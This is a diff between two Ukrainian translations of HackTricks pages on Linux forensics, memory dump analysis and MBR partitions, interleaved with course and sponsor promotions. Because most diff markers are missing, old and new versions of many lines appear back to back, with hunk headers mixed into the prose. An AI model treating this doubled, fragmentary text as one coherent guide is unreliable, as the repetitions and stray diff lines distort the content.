* **/var/log/maillog** або **/var/log/mail.log**: Журнали активності поштового сервера, корисні для відстеження сервісів, пов'язаних з електронною поштою.
* **/var/log/kern.log**: Зберігає повідомлення ядра, включаючи помилки та попередження.
* **/var/log/dmesg**: Містить повідомлення драйвера пристрою.
* **/var/log/faillog**: Фіксує невдачі входу, допомагаючи в розслідуванні порушень безпеки.
* **/var/log/cron**: Журнали виконання завдань cron.
* **/var/log/daemon.log**: Відстежує діяльність фонових служб.
* **/var/log/btmp**: Документує невдачі входу.
* **/var/log/dmesg**: Містить повідомлення драйверів пристроїв.
* **/var/log/faillog**: Записує невдалі спроби входу, що допомагає в розслідуванні порушень безпеки.
* **/var/log/cron**: Журнали виконання cron-завдань.
* **/var/log/daemon.log**: Відстежує активність фонових сервісів.
* **/var/log/btmp**: Документує невдалі спроби входу.
* **/var/log/httpd/**: Містить журнали помилок та доступу Apache HTTPD.
* **/var/log/mysqld.log** або **/var/log/mysql.log**: Журнали дій бази даних MySQL.
* **/var/log/xferlog**: Фіксує передачі файлів FTP.
* **/var/log/**: Завжди перевіряйте наявність неочікуваних журналів тут.
* **/var/log/mysqld.log** або **/var/log/mysql.log**: Журнали активності бази даних MySQL.
* **/var/log/xferlog**: Записує FTP-передачі файлів.
* **/var/log/**: Завжди перевіряйте на наявність несподіваних журналів тут.
{% hint style="info" %}
Системні журнали та підсистеми аудиту Linux можуть бути вимкнені або видалені під час вторгнення або інциденту з шкідливим ПЗ. Оскільки журнали в системах Linux, як правило, містять деяку з найкориснішою інформацією про зловмисну діяльність, зловмисники регулярно їх видаляють. Тому при аналізі наявних файлів журналів важливо шукати прогалини або неузгоджені записи, які можуть свідчити про видалення або втручання.
Журнали системи Linux та підсистеми аудиту можуть бути вимкнені або видалені під час вторгнення або інциденту з шкідливим ПЗ. Оскільки журнали на системах Linux зазвичай містять деяку з найкорисніших інформацій про злочинні дії, зловмисники регулярно їх видаляють. Тому, перевіряючи доступні журнали, важливо шукати прогалини або записи, що не в порядку, які можуть свідчити про видалення або підробку.
{% endhint %}
**Linux зберігає історію команд для кожного користувача**, зберігається в:
**Linux зберігає історію команд для кожного користувача**, що зберігається в:
* \~/.bash\_history
* \~/.zsh\_history
@ -295,34 +296,34 @@ Linux використовує різні файли для автоматичн
* \~/.python\_history
* \~/.\*\_history
Крім того, команда `last -Faiwx` надає список входів користувачів. Перевірте його на невідомі або неочікувані входи.
Крім того, команда `last -Faiwx` надає список входів користувачів. Перевірте його на наявність невідомих або несподіваних входів.
Перевірте файли, які можуть надати додаткові привілеї:
* Перегляньте `/etc/sudoers` на непередбачені привілеї користувача, які можуть бути надані.
* Перегляньте `/etc/sudoers.d/` на непередбачені привілеї користувача, які можуть бути надані.
* Дослідіть `/etc/groups`, щоб виявити незвичайні членства в групах або дозволи.
* Дослідіть `/etc/passwd`, щоб виявити незвичайні членства в групах або дозволи.
* Перегляньте `/etc/sudoers` на предмет непередбачених привілеїв користувачів, які могли бути надані.
* Перегляньте `/etc/sudoers.d/` на предмет непередбачених привілеїв користувачів, які могли бути надані.
* Перевірте `/etc/groups`, щоб виявити будь-які незвичайні членства в групах або дозволи.
* Перевірте `/etc/passwd`, щоб виявити будь-які незвичайні членства в групах або дозволи.
Деякі програми також генерують власні журнали:
Деякі програми також генерують свої власні журнали:
* **SSH**: Перевірте _\~/.ssh/authorized\_keys_ та _\~/.ssh/known\_hosts_ на несанкціоновані віддалені підключення.
* **Gnome Desktop**: Перегляньте _\~/.recently-used.xbel_ для нещодавно відкритих файлів через додатки Gnome.
* **Firefox/Chrome**: Перевірте історію браузера та завантаження в _\~/.mozilla/firefox_ або _\~/.config/google-chrome_ на підозрілі дії.
* **VIM**: Перегляньте _\~/.viminfo_ для деталей використання, таких як шляхи до файлів та історія пошуку.
* **Open Office**: Перевірте нещодавній доступ до документів, що може вказувати на компрометовані файли.
* **FTP/SFTP**: Перегляньте журнали в _\~/.ftp\_history_ або _\~/.sftp\_history_ для передач файлів, які можуть бути несанкціонованими.
* **MySQL**: Дослідіть _\~/.mysql\_history_ для виконаних запитів MySQL, що може розкрити несанкціоновану діяльність бази даних.
* **Less**: Проаналізуйте _\~/.lesshst_ для історії використання, включаючи переглянуті файли та виконані команди.
* **Git**: Перегляньте _\~/.gitconfig_ та проект _.git/logs_ для змін у репозиторіях.
* **SSH**: Перевірте _\~/.ssh/authorized\_keys_ та _\~/.ssh/known\_hosts_ на предмет несанкціонованих віддалених з'єднань.
* **Gnome Desktop**: Перегляньте _\~/.recently-used.xbel_ для нещодавно відкритих файлів через програми Gnome.
* **Firefox/Chrome**: Перевірте історію браузера та завантаження в _\~/.mozilla/firefox_ або _\~/.config/google-chrome_ на предмет підозрілої активності.
* **VIM**: Перегляньте _\~/.viminfo_ для деталей використання, таких як шляхи до відкритих файлів та історія пошуку.
* **Open Office**: Перевірте наявність нещодавнього доступу до документів, що може свідчити про скомпрометовані файли.
* **FTP/SFTP**: Перегляньте журнали в _\~/.ftp\_history_ або _\~/.sftp\_history_ на предмет передач файлів, які можуть бути несанкціонованими.
* **MySQL**: Досліджуйте _\~/.mysql\_history_ для виконаних запитів MySQL, що можуть вказувати на несанкціоновану активність бази даних.
* **Less**: Аналізуйте _\~/.lesshst_ для історії використання, включаючи переглянуті файли та виконані команди.
* **Git**: Перевірте _\~/.gitconfig_ та проект _.git/logs_ на предмет змін у репозиторіях.
### Журнали USB
### USB Logs
[**usbrip**](https://github.com/snovvcrash/usbrip) - це невеликий програмний засіб, написаний на чистому Python 3, який аналізує файли журналів Linux (`/var/log/syslog*` або `/var/log/messages*` в залежності від дистрибутиву) для побудови таблиць історії подій USB.
[**usbrip**](https://github.com/snovvcrash/usbrip) - це невеликий програмний продукт, написаний на чистому Python 3, який аналізує журнали Linux (`/var/log/syslog*` або `/var/log/messages*` в залежності від дистрибутива) для створення таблиць історії подій USB.
Цікаво **знати всі USB, які були використані**, і це буде корисно, якщо у вас є авторизований список USB для пошуку "порушень" (використання USB, які не входять до цього списку).
Цікаво **знати всі USB, які були використані**, і це буде ще корисніше, якщо у вас є авторизований список USB для виявлення "порушень" (використання USB, які не входять до цього списку).
### Встановлення
### Installation
```bash
pip3 install usbrip
usbrip ids download #Download USB ID database
@ -335,38 +336,38 @@ usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR
usbrip ids download #Downlaod database
usbrip ids search --pid 0002 --vid 0e0f #Search for pid AND vid
```
Більше прикладів та інформації у GitHub: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip)
Більше прикладів та інформації всередині GitHub: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip)
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Використовуйте [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) для легкої побудови та **автоматизації робочих процесів**, які працюють за допомогою найбільш **продвинутих** інструментів у спільноті.\
Використовуйте [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics), щоб легко створювати та **автоматизувати робочі процеси**, підтримувані **найсучаснішими** інструментами спільноти.\
Отримайте доступ сьогодні:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %}
## Перегляд облікових записів користувачів та активностей входу в систему
## Перегляд облікових записів користувачів та активності входу
Перевірте файли _**/etc/passwd**_, _**/etc/shadow**_ та **журнали безпеки** на наявність незвичайних імен або облікових записів, створених або використаних поруч з відомими несанкціонованими подіями. Також перевірте можливі атаки на sudo методом перебору паролів.\
Крім того, перевірте файли, такі як _**/etc/sudoers**_ та _**/etc/groups**_ на непередбачені привілеї, надані користувачам.\
Нарешті, шукайте облікові записи без **паролів** або з **легко вгадуваними** паролями.
Перевірте _**/etc/passwd**_, _**/etc/shadow**_ та **журнали безпеки** на наявність незвичних імен або облікових записів, створених або використаних у близькості до відомих несанкціонованих подій. Також перевірте можливі атаки грубої сили на sudo.\
Крім того, перевірте файли, такі як _**/etc/sudoers**_ та _**/etc/groups**_, на предмет несподіваних привілеїв, наданих користувачам.\
Нарешті, шукайте облікові записи з **без паролів** або **легко вгадуваними** паролями.
## Аналіз файлової системи
## Перевірка файлової системи
### Аналіз структур файлової системи при розслідуванні випадків шкідливого програмного забезпечення
### Аналіз структур файлової системи в розслідуванні шкідливого ПЗ
При розслідуванні випадків шкідливого програмного забезпечення структура файлової системи є важливим джерелом інформації, що розкриває як послідовність подій, так і вміст шкідливого програмного забезпечення. Однак автори шкідливого програмного забезпечення розробляють техніки для ускладнення цього аналізу, такі як зміна часів штампів файлів або уникання файлової системи для зберігання даних.
Під час розслідування інцидентів з шкідливим ПЗ структура файлової системи є важливим джерелом інформації, що розкриває як послідовність подій, так і вміст шкідливого ПЗ. Однак автори шкідливого ПЗ розробляють техніки, щоб ускладнити цей аналіз, такі як зміна часових міток файлів або уникнення файлової системи для зберігання даних.
Для протидії цим анти-форензичним методам важливо:
Щоб протидіяти цим антифорензічним методам, важливо:
* **Провести ретельний аналіз часової шкали** за допомогою інструментів, таких як **Autopsy** для візуалізації часових шкал подій або `mactime` від **Sleuth Kit** для детальних даних часової шкали.
* **Дослідити неочікувані скрипти** у $PATH системи, які можуть містити скрипти оболонки або PHP, використовані зловмисниками.
* **Перевірте `/dev` на атипові файли**, оскільки традиційно тут містяться спеціальні файли, але можуть містити файли, пов'язані з шкідливим програмним забезпеченням.
* **Шукайте приховані файли або каталоги** з назвами, такими як ".. " (крапка крапка пробіл) або "..^G" (крапка крапка керування-G), які можуть приховувати зловмисний вміст.
* **Визначте файли setuid root** за допомогою команди: `find / -user root -perm -04000 -print` Це знаходить файли з підвищеними дозволами, які можуть бути використані зловмисниками.
* **Перевірте часи видалення** в таблицях inode, щоб виявити масове видалення файлів, що може вказувати на наявність rootkit або троянців.
* **Огляньте послідовні inode** для поруч знаходячихся зловмисних файлів після ідентифікації одного, оскільки вони можуть бути розміщені разом.
* **Перевірте загальні бінарні каталоги** (_/bin_, _/sbin_) на недавно змінені файли, оскільки їх може бути змінено шкідливим програмним забезпеченням.
* **Провести ретельний аналіз хронології** за допомогою інструментів, таких як **Autopsy** для візуалізації хронологій подій або **Sleuth Kit's** `mactime` для детальних даних хронології.
* **Дослідити несподівані скрипти** в $PATH системи, які можуть включати shell або PHP скрипти, що використовуються зловмисниками.
* **Перевірити `/dev` на наявність нетипових файлів**, оскільки він традиційно містить спеціальні файли, але може містити файли, пов'язані зі шкідливим ПЗ.
* **Шукати приховані файли або каталоги** з іменами, такими як ".. " (крапка крапка пробіл) або "..^G" (крапка крапка контроль-G), які можуть приховувати шкідливий вміст.
* **Визначити файли setuid root** за допомогою команди: `find / -user root -perm -04000 -print` Це знаходить файли з підвищеними привілеями, які можуть бути зловживані зловмисниками.
* **Переглянути часові мітки видалення** в таблицях inode, щоб виявити масові видалення файлів, що може вказувати на наявність rootkit або троянів.
* **Перевірити послідовні inodes** на наявність сусідніх шкідливих файлів після виявлення одного, оскільки вони могли бути розміщені разом.
* **Перевірити загальні каталоги бінарних файлів** (_/bin_, _/sbin_) на наявність нещодавно змінених файлів, оскільки вони можуть бути змінені шкідливим ПЗ.
````bash
# List recent files in a directory:
ls -laR --sort=time /bin```
@ -375,35 +376,35 @@ ls -laR --sort=time /bin```
ls -lai /bin | sort -n```
````
{% hint style="info" %}
Зверніть увагу, що **зловмисник** може **змінити** **час**, щоб файли виглядали **легітимними**, але він **не може** змінити **інод**. Якщо ви помітили, що **файл** вказує на те, що він був створений і змінений у **один і той же час**, що й решта файлів у тій самій папці, але **інод** **неочікувано більший**, то **часи змінені** для цього файлу.
Зверніть увагу, що **зловмисник** може **змінити** **час**, щоб **файли виглядали** **легітимними**, але він **не може** змінити **inode**. Якщо ви виявите, що **файл** вказує на те, що він був створений і змінений в **один і той же час** з іншими файлами в тій же папці, але **inode** є **неочікувано більшим**, то **часові мітки цього файлу були змінені**.
{% endhint %}
## Порівняння файлів різних версій файлової системи
### Зведення порівняння версій файлової системи
### Резюме порівняння версій файлової системи
Для порівняння версій файлової системи та визначення змін використовуємо спрощені команди `git diff`:
Щоб порівняти версії файлових систем і виявити зміни, ми використовуємо спрощені команди `git diff`:
* **Для пошуку нових файлів** порівняйте дві теки:
* **Щоб знайти нові файли**, порівняйте дві директорії:
```bash
git diff --no-index --diff-filter=A path/to/old_version/ path/to/new_version/
```
* **Для зміненого вмісту**, перерахуйте зміни, ігноруючи конкретні рядки:
* **Для зміненого вмісту**, перерахувати зміни, ігноруючи конкретні рядки:
```bash
git diff --no-index --diff-filter=M path/to/old_version/ path/to/new_version/ | grep -E "^\+" | grep -v "Installed-Time"
```
* **Для виявлення видалених файлів**:
* **Щоб виявити видалені файли**:
```bash
git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/
```
* **Опції фільтрації** (`--diff-filter`) допомагають звузити вибір до конкретних змін, таких як додані (`A`), видалені (`D`) або змінені (`M`) файли.
* **Фільтрувальні опції** (`--diff-filter`) допомагають звузити до конкретних змін, таких як додані (`A`), видалені (`D`) або змінені (`M`) файли.
* `A`: Додані файли
* `C`: Скопійовані файли
* `D`: Видалені файли
* `M`: Змінені файли
* `R`: Перейменовані файли
* `T`: Зміни типу (наприклад, файл на символьне посилання)
* `U`: Несполучені файли
* `T`: Зміни типу (наприклад, файл на символічне посилання)
* `U`: Невирішені файли
* `X`: Невідомі файли
* `B`: Пошкоджені файли
@ -412,4 +413,26 @@ git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/
* [https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems\_Ch3.pdf](https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems\_Ch3.pdf)
* [https://www.plesk.com/blog/featured/linux-logs-explained/](https://www.plesk.com/blog/featured/linux-logs-explained/)
* [https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203](https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203)
* **Книга: Malware Forensics Field Guide for Linux Systems: Digital Forensics Field Guides**
* **Книга: Посібник з комп'ютерної криміналістики для Linux-систем: Посібники з цифрової криміналістики**
<details>
<summary><strong>Вивчайте хакінг AWS з нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ви працюєте в **компанії з кібербезпеки**? Хочете, щоб вашу **компанію рекламували в HackTricks**? Або хочете отримати доступ до **останній версії PEASS або завантажити HackTricks у PDF**? Перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* Отримайте [**офіційні товари PEASS & HackTricks**](https://peass.creator-spring.com)
* **Приєднуйтесь до** [**💬**](https://emojipedia.org/speech-balloon/) [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за мною в **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
**Діліться своїми хакерськими трюками, надсилаючи PR до** [**репозиторію hacktricks**](https://github.com/carlospolop/hacktricks) **та** [**репозиторію hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Використовуйте [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics), щоб легко створювати та **автоматизувати робочі процеси**, що працюють на основі **найсучасніших** інструментів спільноти.\
Отримайте доступ сьогодні:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %}

View file

@ -1,20 +1,23 @@
# Аналіз дампу пам'яті
# Аналіз дампа пам'яті
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Підтримайте HackTricks</summary>
* Ви працюєте в **кібербезпеці компанії**? Хочете побачити свою **компанію в рекламі на HackTricks**? або хочете мати доступ до **останньої версії PEASS або завантажити HackTricks у форматі PDF**? Перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Дізнайтеся про [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* **Приєднуйтесь до** [**💬**](https://emojipedia.org/speech-balloon/) [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи у Telegram**](https://t.me/peass) або **слідкуйте** за мною на **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до [репозиторію hacktricks](https://github.com/carlospolop/hacktricks) та [репозиторію hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
</details>
{% endhint %}
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) є найбільш важливою подією з кібербезпеки в **Іспанії** та однією з найважливіших в **Європі**. З місією просування технічних знань, цей конгрес є кипучою точкою зустрічі для професіоналів технологій та кібербезпеки у будь-якій дисципліні.
[**RootedCON**](https://www.rootedcon.com/) є найважливішою подією в сфері кібербезпеки в **Іспанії** та однією з найважливіших в **Європі**. З **метою просування технічних знань**, цей конгрес є гарячою точкою зустрічі для професіоналів у сфері технологій та кібербезпеки в усіх дисциплінах.
{% embed url="https://www.rootedcon.com/" %}
@ -22,50 +25,51 @@
Почніть **шукати** **шкідливе ПЗ** всередині pcap. Використовуйте **інструменти**, згадані в [**Аналізі шкідливого ПЗ**](../malware-analysis.md).
## [Volatility](../../../generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md)
## [Volatility](volatility-cheatsheet.md)
**Volatility - це основний відкритий фреймворк для аналізу дампів пам'яті**. Цей інструмент на Python аналізує дампи зовнішніх джерел або віртуальних машин VMware, ідентифікуючи дані, такі як процеси та паролі на основі профілю ОС дампу. Він розширюється за допомогою плагінів, що робить його дуже гнучким для судових розслідувань.
**Volatility є основним відкритим фреймворком для аналізу дампів пам'яті**. Цей інструмент на Python аналізує дампи з зовнішніх джерел або віртуальних машин VMware, ідентифікуючи дані, такі як процеси та паролі на основі профілю ОС дампа. Він розширюється за допомогою плагінів, що робить його дуже універсальним для судово-медичних розслідувань.
**[Тут знайдете шпаргалку](../../../generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md)**
[**Знайдіть тут шпаргалку**](volatility-cheatsheet.md)
## Звіт про аварійне завершення міні-дампу
## Звіт про аварійний дамп
Якщо дамп невеликий (лише кілька КБ, можливо, кілька МБ), то це, ймовірно, звіт про аварійне завершення міні-дампу, а не дамп пам'яті.
Коли дамп є малим (всього кілька КБ, можливо, кілька МБ), то це, ймовірно, звіт про аварійний дамп, а не дамп пам'яті.
![](<../../../.gitbook/assets/image (216).png>)
![](<../../../.gitbook/assets/image (532).png>)
Якщо у вас встановлено Visual Studio, ви можете відкрити цей файл та отримати деяку базову інформацію, таку як назва процесу, архітектура, інформація про виняток та виконувані модулі:
Якщо у вас встановлено Visual Studio, ви можете відкрити цей файл і прив'язати деяку базову інформацію, таку як назва процесу, архітектура, інформація про виключення та модулі, що виконуються:
![](<../../../.gitbook/assets/image (217).png>)
![](<../../../.gitbook/assets/image (263).png>)
Ви також можете завантажити виняток та переглянути декомпільовані інструкції
Ви також можете завантажити виключення та переглянути декомпільовані інструкції
![](<../../../.gitbook/assets/image (219).png>)
![](<../../../.gitbook/assets/image (142).png>)
![](<../../../.gitbook/assets/image (218) (1).png>)
В будь-якому випадку, Visual Studio не є найкращим інструментом для проведення аналізу глибини дампу.
Ви повинні **відкрити** його за допомогою **IDA** або **Radare**, щоб докладно **інспектувати** його.
![](<../../../.gitbook/assets/image (610).png>)
У будь-якому випадку, Visual Studio не є найкращим інструментом для проведення глибокого аналізу дампа.
Вам слід **відкрити** його за допомогою **IDA** або **Radare** для детального огляду.
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) є найбільш важливою подією з кібербезпеки в **Іспанії** та однією з найважливіших в **Європі**. З місією просування технічних знань, цей конгрес є кипучою точкою зустрічі для професіоналів технологій та кібербезпеки у будь-якій дисципліні.
[**RootedCON**](https://www.rootedcon.com/) є найважливішою подією в сфері кібербезпеки в **Іспанії** та однією з найважливіших в **Європі**. З **метою просування технічних знань**, цей конгрес є гарячою точкою зустрічі для професіоналів у сфері технологій та кібербезпеки в усіх дисциплінах.
{% embed url="https://www.rootedcon.com/" %}
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Підтримайте HackTricks</summary>
* Ви працюєте в **кібербезпеці компанії**? Хочете побачити свою **компанію в рекламі на HackTricks**? або хочете мати доступ до **останньої версії PEASS або завантажити HackTricks у форматі PDF**? Перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Дізнайтеся про [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* **Приєднуйтесь до** [**💬**](https://emojipedia.org/speech-balloon/) [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи у Telegram**](https://t.me/peass) або **слідкуйте** за мною на **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до [репозиторію hacktricks](https://github.com/carlospolop/hacktricks) та [репозиторію hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
</details>
{% endhint %}

View file

@ -1,67 +1,68 @@
# Розділи/Файлові системи/Видобування
# Partitions/File Systems/Carving
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Інші способи підтримки HackTricks:
* Якщо ви хочете побачити вашу **компанію рекламовану в HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **та** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв GitHub**.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Розділи
## Partitions
Жорсткий диск або **SSD-диск може містити різні розділи** з метою фізичного розділення даних.\
Мінімальна одиниця диска - **сектор** (зазвичай складається з 512 байтів). Таким чином, розмір кожного розділу повинен бути кратним цьому розміру.
Жорсткий диск або **SSD диск може містити різні розділи** з метою фізичного розділення даних.\
**Мінімальна** одиниця диска - це **сектор** (зазвичай складається з 512B). Отже, розмір кожного розділу повинен бути кратним цьому розміру.
### MBR (master Boot Record)
Він розміщений в **першому секторі диска після 446 байтів завантажувального коду**. Цей сектор є важливим для вказівки ПК, що і звідки потрібно монтувати розділ.\
Він дозволяє до **4 розділів** (максимум **лише 1** може бути активним/**завантажувальним**). Однак, якщо вам потрібно більше розділів, ви можете використовувати **розширені розділи**. Останній байт цього першого сектора - це підпис завантажувального запису **0x55AA**. Тільки один розділ може бути позначений як активний.\
MBR дозволяє **максимум 2,2 ТБ**.
Він розміщується в **першому секторі диска після 446B завантажувального коду**. Цей сектор є важливим для вказівки ПК, що і звідки має бути змонтовано розділ.\
Він дозволяє до **4 розділів** (максимум **лише 1** може бути активним/**завантажувальним**). Однак, якщо вам потрібно більше розділів, ви можете використовувати **розширені розділи**. **Останній байт** цього першого сектора - це підпис завантаження **0x55AA**. Лише один розділ може бути позначений як активний.\
MBR дозволяє **макс 2.2TB**.
![](<../../../.gitbook/assets/image (489).png>)
![](<../../../.gitbook/assets/image (350).png>)
![](<../../../.gitbook/assets/image (490).png>)
![](<../../../.gitbook/assets/image (304).png>)
З **байтів 440 по 443** MBR ви можете знайти **Windows Disk Signature** (якщо використовується Windows). Логічна літера диска жорсткого диска залежить від Windows Disk Signature. Зміна цього підпису може запобігти завантаженню Windows (інструмент: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**.
З **байтів 440 до 443** MBR ви можете знайти **Windows Disk Signature** (якщо використовується Windows). Логічна буква диска жорсткого диска залежить від Windows Disk Signature. Зміна цього підпису може завадити Windows завантажитися (інструмент: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**.
![](<../../../.gitbook/assets/image (493).png>)
![](<../../../.gitbook/assets/image (310).png>)
**Формат**
**Format**
| Зсув | Довжина | Елемент |
| Offset | Length | Item |
| ----------- | ---------- | ------------------- |
| 0 (0x00) | 446(0x1BE) | Код завантаження |
